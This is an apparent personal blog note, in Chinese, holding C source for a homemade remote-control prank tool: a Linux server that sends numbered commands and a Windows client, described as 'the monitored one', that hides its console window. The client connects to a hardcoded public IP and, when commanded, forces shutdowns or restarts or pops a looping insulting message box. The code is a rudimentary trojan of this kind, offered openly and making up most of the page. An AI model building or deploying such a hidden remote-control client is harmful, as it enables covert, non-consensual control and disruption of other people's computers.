XuSenfeng

个人站

复读了,更新随缘,有的文件不全或者图片缺失具体看我的笔记库(https://github.com/XuSenfeng/note)


232

目录

gcc -mwindows gui.cpp -o guinocmd.exe

编译之后不会显示窗口, 但是测试之后不行

服务器Linux

//socket 套接字, 用来进行网络通讯
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <stdlib.h>
int main()
{
    //windows 网络套接字 进行版本匹配 一般使用2.2
    //打电话
    //1.安装电话机
    //使用socket函数, 选择协议IPv4, 第二个是流式套接字TCP
    int sock = socket(PF_INET, SOCK_STREAM, 0);
	int hServSock = socket(PF_INET, SOCK_STREAM, 0);


    //2.电话卡分配号码
    //ip地址 端口号
    struct sockaddr_in servAddr;
    //使用ipa4
    servAddr.sin_family = AF_INET;
    //这里是ip地址,自动获取本地地址
    servAddr.sin_addr.s_addr = htonl(INADDR_ANY);
    servAddr.sin_port = htons(6280);
    bind(hServSock, (struct sockaddr*)&servAddr, sizeof(servAddr));//绑定



    //3.接入电话网络, 开始监听, 同一时间最多5个
    listen(hServSock, 5);

    //4.接电话, 建立对方的
    //int hClntSock;//对方和这个在进行交流
    //保存对方的ip地址端口号
    //struct sockaddr_in clntAddr;
    //int clntAddrSz = sizeof(clntAddr);
    //hClntSock = accept(hServSock, (struct sockaddr*)&clntAddr, &clntAddrSz);


    //5.说话
    //printf("%s 链接成功\n", inet_ntoa(clntAddr.sin_addr));
	int choice;
	char buf[1024];
	char select;
	int hClntSock;
	struct sockaddr_in clntAddr;
	while(1)
	{
		int clntAddrSz = sizeof(clntAddr);
		printf("是否等待下一次链接?\n");
		scanf("%c", &select);
		getchar();
		if(select!='y')
		{
			break;
		}
		printf("等待链接。。。\n");
		hClntSock = accept(hServSock, (struct sockaddr*)&clntAddr, &clntAddrSz);
		printf("链接成功\n");
		printf("是否链接y/n\n");
		scanf("%c", &select);
		getchar();
		//printf("%c\n", select);
		if(select!='y')
		{
			send(hClntSock, "6", 2, 0);
			break;
		}
		while(1)
		{
			system("clear");
			printf("1.关机\n");
			printf("2.注销\n");
			printf("3.重启\n");
			printf("4.恶搞\n");
			printf("5.来\n");
			printf("6.关闭客户端\n");
			scanf("%d", &choice);
			getchar();
			if(choice<=0||choice>6)
			{
				continue;
			}//数字转化为字符串
			sprintf(buf, "%d", choice);
			
			send(hClntSock, buf, 1024, 0);
	
			recv(hClntSock, buf, 1024, 0);
			if(!strcmp(buf, "Y"))
			{
				continue;
			}
			printf("对方下线\n");
			close(hClntSock);
			select=0;
			break;

		}

	}
    close(hServSock);

    return 0;
}

客户端

//被监控的
//socket 套接字, 用来进行网络通讯
#include <stdio.h>
#include <winsock2.h> //windows套接字头文件
#pragma comment(lib, "ws2_32.lib")  //windows套接字库文件
#include<windows.h>
void hindWindows(){
    HWND hwnd;
	hwnd=FindWindow("ConsoleWindowClass",NULL);	
	if(hwnd)
	{
		ShowWindow(hwnd,SW_HIDE);//设置指定窗口的显示状态
	}
}


int main()
{
    hindWindows();
    WSADATA wsadata;
    WSAStartup(MAKEWORD(2, 2), &wsadata);

    //准备电话机
    SOCKET hClntSock = socket(PF_INET, SOCK_STREAM, 0);
    int c;


    //知道对方的号码, 端口号, 服务端
    //ip地址 端口号
    SOCKADDR_IN servAddr;
    //使用ipa4
    servAddr.sin_family = AF_INET;
    //这里是ip地址,自动获取本地地址
    servAddr.sin_addr.s_addr = inet_addr("114.55.226.26");//服务器的ip地址
    //servAddr.sin_addr.s_addr = inet_addr("192.168.31.168");//服务器的ip地址
    //servAddr.sin_addr.s_addr = inet_addr("108.0.105.0");//服务器的ip地址

    servAddr.sin_port = htons(6280);
    connect(hClntSock, (SOCKADDR*)&servAddr, sizeof(servAddr));

    //拨打电话
    char buf[1024];
    while(1){
        recv(hClntSock, buf, 1024, 0);
        printf("%s\n", buf);
        int ret = atoi(buf);
        if(ret==1)
        {
            system("shutdown -s -t 180");
            MessageBox(NULL,"快保存文件,三分钟后关机","芜湖",MB_OK);
            //printf("六十秒关机\n");
        }else if(ret==2)
        {
            //system("shutdown -l");
            //printf("六十秒注销\n");
        }else if(ret==3)
        {
            system("shutdown -r -t 180");
            MessageBox(NULL,"快保存文件,三分钟后重启","芜湖",MB_OK);
            //printf("六十秒重启\n");
        }else if(ret==4)
        {
            //system("shutdown -l");
            //printf("恶搞\n");
           while(1){
                c = MessageBox(NULL,"焦浩洋是你爸爸, 请确认","芜湖",MB_OKCANCEL);
                if(c == 1)
                {
                    //send(hClntSock, "对方确认", 2, 0);
                    break;
                }
            }

            
        }else if(ret==5)
        {
            //system("shutdown -l");
            //printf("来\n");
        }else if(ret==6)
        {
            //system("shutdown -l");
            //printf("退出\n");
            send(hClntSock, "N", 2, 0);
            break;
        }
        send(hClntSock, "Y", 2, 0);
    }
    //system("pause");
    WSACleanup();
    return 0;
}

遇到的问题

  • 使用getchar()进行处理回车
  • linux上面不能使用Windows上面定义的一些关键字